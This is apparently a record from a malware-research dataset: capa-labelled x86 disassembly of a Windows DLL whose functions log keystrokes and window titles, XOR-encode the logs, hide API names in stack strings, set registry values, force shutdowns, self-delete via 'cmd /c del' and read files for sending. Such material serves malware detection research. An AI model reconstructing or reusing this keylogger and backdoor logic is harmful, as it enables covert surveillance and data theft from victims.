joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005ce0
Capabilities:
Encode data using xor
Get common file path
Get file size
Write file on windows

Disassembly:
sub esp, 0x20c
push ebx
push ebp
push esi
push edi
xor esi, esi
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x16]
mov word [esp + 0x14], si
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea ecx, [esp + 0x14]
push 0x10014f6c
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
push 0x80
push 4
push esi
push 2
lea edx, [esp + 0x28]
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebp, eax
push esi
push ebp
mov dword [esp + 0x18], esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x10005d5b
push 2
push esi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebx, dword [esp + 0x220]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
lea eax, [edi + edi]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
test edi, edi
jle 0x10005d93
mov ecx, ebx
sub ecx, esi
mov dx, word [ecx + eax]
add eax, 2
xor dx, 0x60
dec edi
mov word [eax - 2], dx
jne 0x10005d81
lea eax, [esp + 0x10]
push 0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
push eax
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20c
ret

Function at 0x10005dd0
Capabilities:
Get graphical window text

Disassembly:
mov eax, 0x2010
call fcn.1000e3d0
push ebx
push esi
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
xor ebx, ebx
mov ecx, 0x7ff
xor eax, eax
lea edi, [esp + 0x1e]
mov word [esp + 0x1c], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
cmp esi, dword [0x10026bbc]
je 0x10005eac
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0x10028bc0
call edi
test eax, eax
jle 0x10005e95
push 0x10026bc0
call edi
test eax, eax
jle 0x10005e90
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x16]
mov eax, dword [esp + 0x14]
and ecx, 0xffff
and edx, 0xffff
push ecx
mov ecx, dword [esp + 0x16]
and eax, 0xffff
push edx
mov edx, dword [esp + 0x16]
push eax
mov eax, dword [esp + 0x18]
and ecx, 0xffff
and edx, 0xffff
push ecx
and eax, 0xffff
push edx
push eax
push 0x10028bc0
lea ecx, [esp + 0x38]
push 0x10014f94
push ecx
call dword [sym.imp.MSVCRT.dll_swprintf]
lea edx, [esp + 0x40]
push edx
call fcn.10005ce0
add esp, 0x28
mov ebx, 1
push 0x1000
push 0x10028bc0
push esi
mov dword [0x10026bbc], esi
call dword [sym.imp.USER32.dll_GetWindowTextW]
pop edi
mov eax, ebx
pop esi
pop ebx
add esp, 0x2010
ret
Function at 0x100060a0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
xor edx, edx
mov ecx, 0x3e8
div ecx
test edx, edx
jne 0x100060c4
call fcn.10005f80
test eax, eax
je 0x100060c4
push 0
call fcn.10005f30
add esp, 4
push ebx
push ebp
push esi
push edi
call fcn.10005dd0
test eax, eax
je 0x10006115
push 0x10026bc0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x10006115
push 0x10015048
push 0x10026bc0
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x1001503c
call fcn.10005ce0
push 0x10026bc0
call fcn.10005ce0
add esp, 8
mov ecx, 0x800
xor eax, eax
mov edi, 0x10026bc0
rep stosd dword es:[edi], eax
mov ebp, dword [sym.imp.USER32.dll_GetKeyState]
xor ebx, ebx
push 0x10
call ebp
mov esi, dword [ebx + str._b_repqrstuvwxyz1234567890_tQWERTYUIOPASDFGHJKLZXCVBNM]
push esi
movsx edi, ax
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ah, 0x80
je 0x100061a9
push 0x14
call ebp
test ax, ax
je 0x1000615e
cmp edi, 0xffffffff
jle 0x1000615e
cmp esi, 0x40
jle 0x1000615e
cmp esi, 0x5b
jge 0x1000615e
mov dword [esi*4 + 0x1002abc0], 1
jmp 0x10006256
push 0x14
call ebp
test ax, ax
je 0x10006185
test edi, edi
jge 0x10006199
cmp esi, 0x40
jle 0x10006185
cmp esi, 0x5b
jge 0x10006185
mov dword [esi*4 + 0x1002abc0], 2
jmp 0x10006256
test edi, edi
jge 0x10006199
mov dword [esi*4 + 0x1002abc0], 3
jmp 0x10006256
mov dword [esi*4 + 0x1002abc0], 4
jmp 0x10006256
mov edi, dword [esi*4 + 0x1002abc0]
test edi, edi
je 0x10006256
cmp esi, 8
mov dword [esi*4 + 0x1002abc0], 0
push 0x10026bc0
jne 0x100061df
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov word [eax*2 + 0x10026bbe], 0
jmp 0x10006256
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x7d0
jle 0x10006209
push 0x10026bc0
call fcn.10005ce0
add esp, 4
mov ecx, 0x800
xor eax, eax
mov edi, 0x10026bc0
rep stosd dword es:[edi], eax
jmp 0x10006256
cmp esi, 0xd
jne 0x10006224
push 0x10026bc0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x10006256
push str._Enter__r_n
jmp 0x1000624b
mov eax, edi
and eax, 0x80000001
jns 0x10006232
dec eax
or eax, 0xfffffffe
inc eax
cmp eax, 1
jne 0x10006240
mov edx, dword [ebx + 0x10014920]
push edx
jmp 0x1000624b
test eax, eax
jne 0x10006256
mov eax, dword [ebx + 0x1001479c]
push eax
push 0x10026bc0
call dword [sym.imp.KERNEL32.dll_lstrcatW]
add ebx, 4
cmp ebx, 0x17c
jb 0x1000611d
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x100063a0
Capabilities:
Delete file
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x210
push ebx
mov ebx, ecx
mov ecx, dword [esp + 0x218]
xor eax, eax
push ebp
push esi
mov al, byte [ecx]
push edi
dec eax
mov dword [esp + 0x10], ebx
je 0x10006415
sub eax, 2
jne 0x10006526
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x1a]
mov word [esp + 0x18], 0
rep stosd dword es:[edi], eax
lea edx, [esp + 0x18]
push 0x104
push edx
stosw word es:[edi], ax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea eax, [esp + 0x18]
push 0x10014f6c
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x210
ret 8
xor esi, esi
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x1a]
mov word [esp + 0x18], si
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
push 0x104
push edx
mov dword [esp + 0x1c], esi
stosw word es:[edi], ax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea eax, [esp + 0x18]
push 0x10014f6c
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
push 0x80
push 3
push esi
push 1
lea ecx, [esp + 0x2c]
push closesocket
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x10006518
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
inc esi
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x100064f4
lea edx, [esp + 0x14]
push 0
dec esi
lea edi, [ebx + 1]
push edx
push esi
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp + 0x14]
test eax, eax
mov edx, eax
jne 0x100064b6
push 1
push 0x100114f4
jmp 0x100064ce
mov ecx, edx
mov byte [ebx], 1
shr ecx, 1
je 0x100064cb
mov eax, edi
xor word [eax], 0x60
add eax, 2
dec ecx
jne 0x100064c1
inc edx
push edx
push ebx
mov ecx, dword [esp + 0x18]
call fcn.1000c3b0
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x210
ret 8
mov ecx, dword [esp + 0x10]
push 1
push 0x100114f4
call fcn.1000c3b0
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x210
ret 8
push 1
push 0x100114f4
mov ecx, ebx
call fcn.1000c3b0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x210
ret 8
Function at 0x10006ea0
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
push esi
mov esi, ecx
push 0x1002afc0
mov dword [esi], vtable.MsNetwork.0
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
cmp eax, 1
jne 0x10006ef9
push edi
mov ecx, 0x63
xor eax, eax
lea edi, [esp + 0xa]
mov word [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
cmp eax, 0xffffffff
pop edi
jne 0x10006ef9
push 0
push 0x1002afc0
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, esi
pop esi
add esp, 0x190
ret

Function at 0x10006f50
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
test ebp, ebp
push edi
je 0x10006faa
mov ebx, dword [esp + 0x18]
test ebx, ebx
je 0x10006faa
xor ecx, ecx
xor esi, esi
xor edi, edi
test ebx, ebx
jbe 0x10006faa
mov al, byte [esi + str.19888889999]
mov dl, byte [edi + str.18113289765]
xor dl, al
and dl, 0x27
xor dl, al
mov al, byte [ecx + ebp]
xor al, dl
xor edx, edx
mov byte [ecx + ebp], al
lea eax, [esi + 1]
mov esi, 0xc
div esi
lea eax, [edi + 1]
mov edi, 0xc
mov esi, edx
xor edx, edx
div edi
inc ecx
cmp ecx, ebx
mov edi, edx
jb 0x10006f6e
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x10006fb0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [esp + 0x1c]
push ebp
push esi
push edi
push str.TYPELIB
push 0x100115c0
push ebx
xor ebp, ebp
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
je 0x10007074
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
mov al, 0x65
mov byte [esp + 0x15], al
mov byte [esp + 0x1b], al
lea eax, [esp + 0x10]
mov cl, 0x6f
push eax
push esi
mov byte [esp + 0x18], 0x4c
mov byte [esp + 0x19], cl
mov byte [esp + 0x1a], 0x61
mov byte [esp + 0x1b], 0x64
mov byte [esp + 0x1c], 0x52
mov byte [esp + 0x1e], 0x73
mov byte [esp + 0x1f], cl
mov byte [esp + 0x20], 0x75
mov byte [esp + 0x21], 0x72
mov byte [esp + 0x22], 0x63
mov byte [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push ebx
call eax
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
test edi, edi
je 0x10007074
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
mov eax, dword [esp + 0x24]
mov ecx, 0x27f
mov edi, eax
push 0x9fc
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.10006f50
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x10007ba0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x1000ec05
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebp
mov ebp, ecx
push esi
push edi
lea eax, [ebp + 8]
mov dword [esp + 0xc], ebp
push eax
mov dword [ebp + 4], vtable.CriSec.0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea esi, [ebp + 0x20]
mov dword [esp + 0x1c], 0
mov dword [esi + 4], esi
mov dword [esi + 8], esi
mov dword [esi], vtable.DLIST.0
mov dword [esi + 0xc], esi
mov dword [esi + 0x10], esi
lea eax, [ebp + 0x3c]
mov dword [ebp + 0x34], 0
mov dword [ebp + 0x38], 0
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov dword [eax], vtable.DLIST.0
mov dword [eax + 0xc], eax
mov dword [eax + 0x10], eax
push fcn.10004000
push 0x10007ce0
push 0x1000
lea ecx, [ebp + 0x50]
push 0x14
push ecx
mov byte [esp + 0x30], 2
call fcn.1000e618
mov ecx, ebp
mov byte [esp + 0x1c], 3
mov dword [ebp], vtable.SDP::SockManagement.0
call fcn.10007eb0
test eax, eax
jne 0x10007c4f
mov ecx, ebp
call fcn.10007fa0
mov edi, 0x1000
push 0x318
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [esp + 0x10], eax
test eax, eax
mov byte [esp + 0x1c], 4
je 0x10007c77
mov ecx, eax
call fcn.100080d0
jmp 0x10007c79
xor eax, eax
test eax, eax
mov byte [esp + 0x1c], 3
je 0x10007c98
cmp eax, esi
je 0x10007c98
mov dword [eax + 8], esi
mov edx, dword [esi + 4]
mov dword [eax + 4], edx
mov ecx, dword [esi + 4]
mov dword [ecx + 8], eax
mov dword [esi + 4], eax
dec edi
jne 0x10007c54
push 0x4000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
add esp, 4
test edi, edi
mov dword [ebp + 0x34], edi
je 0x10007cbd
mov ecx, 0x1000
xor eax, eax
mov dword [ebp + 0x38], ecx
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x14]
pop edi
mov eax, ebp
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x10009570
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
push ebx
push esi
push edi
mov edi, dword [esp + 0x24]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x20]
lea ebx, [eax + eax + 2]
lea eax, [esp + 0x24]
push eax
push 0x20106
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x100095ae
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x10
ret
push str.Advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
mov al, 0x65
mov byte [esp + 0xd], al
mov byte [esp + 0x10], al
mov byte [esp + 0x16], al
lea eax, [esp + 0xc]
push eax
push esi
mov byte [esp + 0x14], 0x52
mov byte [esp + 0x16], 0x67
mov byte [esp + 0x17], 0x53
mov byte [esp + 0x19], 0x74
mov byte [esp + 0x1a], 0x56
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1c], 0x6c
mov byte [esp + 0x1d], 0x75
mov byte [esp + 0x1f], 0x45
mov byte [esp + 0x20], 0x78
mov byte [esp + 0x21], 0x57
mov byte [esp + 0x22], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x30]
push ebx
push edi
push ecx
mov ecx, dword [esp + 0x30]
push 0
push edx
push ecx
call eax
test eax, eax
je 0x1000963e
mov edx, dword [esp + 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x10
ret
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [esp + 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x10
ret

Function at 0x10009660
Capabilities:
Query or enumerate registry value

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
test edi, edi
je 0x100096c1
mov esi, dword [esp + 0x10]
test esi, esi
je 0x100096c1
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0xc]
push eax
push 0x20119
push 0
push ecx
push closesocket
mov dword [esp + 0x24], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x100096c1
mov ecx, dword [esp + 0xc]
push esi
lea edx, [esp + 0x14]
push edi
push edx
push eax
mov eax, dword [esp + 0x28]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x100096c6
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
xor eax, eax
pop esi
ret
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, 1
pop esi
ret

Function at 0x100096e0
Capabilities:
Shutdown system

Disassembly:
push 1
push str.SeShutdownPrivilege
call fcn.100094d0
add esp, 8
push 0
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.100094d0
add esp, 8
ret

Function at 0x10009920
Capabilities:
Shutdown system

Disassembly:
push 1
push str.SeShutdownPrivilege
call fcn.100094d0
add esp, 8
push 0
push 5
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.100094d0
add esp, 8
ret
Function at 0x100099c0
Capabilities:
Shutdown system

Disassembly:
push 1
push str.SeShutdownPrivilege
call fcn.100094d0
add esp, 8
push 0
push 4
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.100094d0
add esp, 8
ret

Function at 0x10009cb0
Capabilities:
Create process on windows
Get common file path
Get comspec environment variable
Query environment variable
Self delete

Disassembly:
jmp 0x1000be20
sub esp, 0xa5c
push ebx
push edi
xor ebx, ebx
mov ecx, 0x1ff
xor eax, eax
lea edi, [esp + 0x266]
mov word [esp + 0x264], bx
mov word [esp + 0x5c], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x5e]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x5c]
push eax
call fcn.1000bdc0
add esp, 4
test eax, eax
je 0x1000bdb3
push esi
lea ecx, [esp + 0x268]
push 0x104
push ecx
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
test eax, eax
jne 0x1000bd32
lea edx, [esp + 0x268]
push 0x104
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [esp + 0x268]
push str.cmd.exe
push eax
call esi
lea ecx, [esp + 0x268]
push str.__c__del
push ecx
call esi
lea edx, [esp + 0x60]
lea eax, [esp + 0x268]
push edx
push eax
call esi
lea ecx, [esp + 0x268]
push str.___nul
push ecx
call esi
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x20]
xor edx, edx
rep stosd dword es:[edi], eax
lea eax, [esp + 0xc]
lea ecx, [esp + 0x1c]
push eax
mov dword [esp + 0x14], edx
push ecx
push ebx
mov dword [esp + 0x20], edx
push ebx
push ebx
mov dword [esp + 0x2c], edx
push ebx
push ebx
lea edx, [esp + 0x284]
push ebx
push edx
push ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x44], 0x44
mov dword [esp + 0x70], 1
mov word [esp + 0x74], bx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
pop esi
pop edi
pop ebx
add esp, 0xa5c
ret
jmp 0x1000bca0
Function at 0x1000a7f0
Capabilities:
Create thread

Disassembly:
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0x1000a3d0
push 0
push 0
call edi
mov esi, eax
push 0xffffffffffffffff
push esi
call ebx
push esi
call ebp
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000a807

Function at 0x1000a840
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
lea eax, [esp + 8]
push esi
xor esi, esi
push eax
push 0x20119
push esi
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1000a88a
mov ecx, dword [esp + 0xc]
push eax
push eax
push eax
push eax
mov eax, dword [esp + 0x20]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1000a87f
mov esi, 1
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
ret
Function at 0x1000ac50
Capabilities:
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x1000f0e8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push ebp
push esi
mov ebp, ecx
push edi
push 0x1000
lea ecx, [esp + 0x18]
call fcn.10001bd0
mov ebx, dword [esp + 0x44]
push 6
push str.exit_r_n
push ebx
mov dword [esp + 0x44], 0
call dword [sym.imp.MSVCRT.dll_wcsncmp]
add esp, 0xc
test eax, eax
jne 0x1000aca7
mov dword [ebp + 0xc74], 1
lea ecx, [esp + 0x14]
call fcn.10001fc0
mov esi, dword [esp + 0x48]
push 0
push esi
lea ecx, [esp + 0x1c]
call fcn.10001fd0
mov edi, eax
test edi, edi
je 0x1000aceb
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
push 0
lea ecx, [esp + 0x1c]
call fcn.10002120
push eax
push edi
push 0xffffffffffffffff
push ebx
push 0
push 1
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov esi, eax
dec esi
mov ecx, dword [ebp + 0xc78]
lea eax, [esp + 0x10]
push 0
push eax
push esi
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea ecx, [esp + 0x14]
mov dword [esp + 0x38], 0xffffffff
call fcn.10001d50
mov ecx, dword [esp + 0x30]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov dword fs:[0], ecx
add esp, 0x2c
ret 0xc
Function at 0x1000b500
Capabilities:
Set registry value

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
test ebx, ebx
mov dword [esp + 0xc], 0
je 0x1000b578
mov edi, dword [esp + 0x18]
test edi, edi
je 0x1000b578
mov esi, dword [esp + 0x1c]
test esi, esi
je 0x1000b578
lea eax, [esp + 0x14]
lea ecx, [esp + 0xc]
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionThemes
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1000b571
mov edx, dword [esp + 0xc]
push esi
push edi
push 3
push eax
push ebx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x1000b566
xor esi, esi
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
pop ebx
pop ecx
ret
pop edi
pop esi
xor eax, eax
pop ebx
pop ecx
ret

Function at 0x1000b580
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
push ebx
push esi
push edi
mov edi, dword [esp + 0x14]
xor ebx, ebx
cmp edi, ebx
mov dword [esp + 0xc], ebx
je 0x1000b5f1
mov esi, dword [esp + 0x18]
cmp esi, ebx
je 0x1000b5f1
cmp dword [esp + 0x1c], ebx
je 0x1000b5f1
lea eax, [esp + 0xc]
push eax
push 0xf003f
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionThemes
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1000b5f1
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x18]
push esi
push edx
push ebx
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1000b5df
mov ebx, dword [esp + 0x1c]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, ebx
pop esi
pop ebx
pop ecx
ret
pop edi
pop esi
xor eax, eax
pop ebx
pop ecx
ret

Function at 0x1000b600
Capabilities:
Get hostname

Disassembly:
sub esp, 0x400
push esi
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 8]
push 0x400
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
mov ecx, dword [esp + 0x414]
mov esi, dword [esp + 0x410]
push ecx
push esi
lea edx, [esp + 0x10]
push 0xffffffffffffffff
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
pop edi
pop esi
add esp, 0x400
ret
Function at 0x1000c3d0
Capabilities:
Delete file
Get file size
Read file on windows

Disassembly:
sub esp, 0x24c
push ebx
push ebp
push esi
mov ebx, ecx
push edi
mov ecx, 0x89
xor eax, eax
lea edi, [esp + 0x36]
mov word [esp + 0x34], 0
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [esp + 0x260]
test eax, eax
jne 0x1000c411
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x24c
ret 8
mov ebp, dword [esp + 0x264]
push ebp
push eax
lea eax, [esp + 0x3c]
push eax
call dword [sym.imp.MSVCRT.dll_swprintf]
add esp, 0xc
lea ecx, [esp + 0x34]
push 0
push 0x80
push 3
push 0
push 2
push closesocket
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x1000c45e
pop edi
pop esi
pop ebp
mov eax, 0xfffffffe
pop ebx
add esp, 0x24c
ret 8
lea edx, [esp + 0x1c]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x1000c487
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
mov eax, 0xfffffffd
pop ebx
add esp, 0x24c
ret 8
mov eax, dword [esp + 0x1c]
add eax, 0x40d
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
test esi, esi
jne 0x1000c4b8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
mov eax, 0xfffffffc
pop ebx
add esp, 0x24c
ret 8
lea ecx, [esp + 0x18]
lea edx, [esp + 0x24]
push ecx
mov byte [esi], 6
push edx
mov ecx, ebx
mov dword [esp + 0x20], 0x10
call fcn.1000c8c0
test eax, eax
jge 0x1000c4f8
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
mov eax, 0xfffffffb
pop ebx
add esp, 0x24c
ret 8
lea eax, [esi + 1]
push 0x408
lea ecx, [esp + 0x28]
push eax
push ecx
call fcn.1000b660
mov ebx, eax
add esp, 0xc
lea edx, [esp + 0x14]
mov dword [ebx + esi + 1], ebp
mov eax, dword [esp + 0x1c]
push 0
push edx
lea ecx, [ebx + esi + 5]
push eax
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1000c550
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
mov eax, 0xfffffffa
pop ebx
add esp, 0x24c
ret 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
lea eax, [edx + ebx + 5]
push eax
push esi
call fcn.1000c3b0
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea ecx, [esp + 0x34]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x24c
ret 8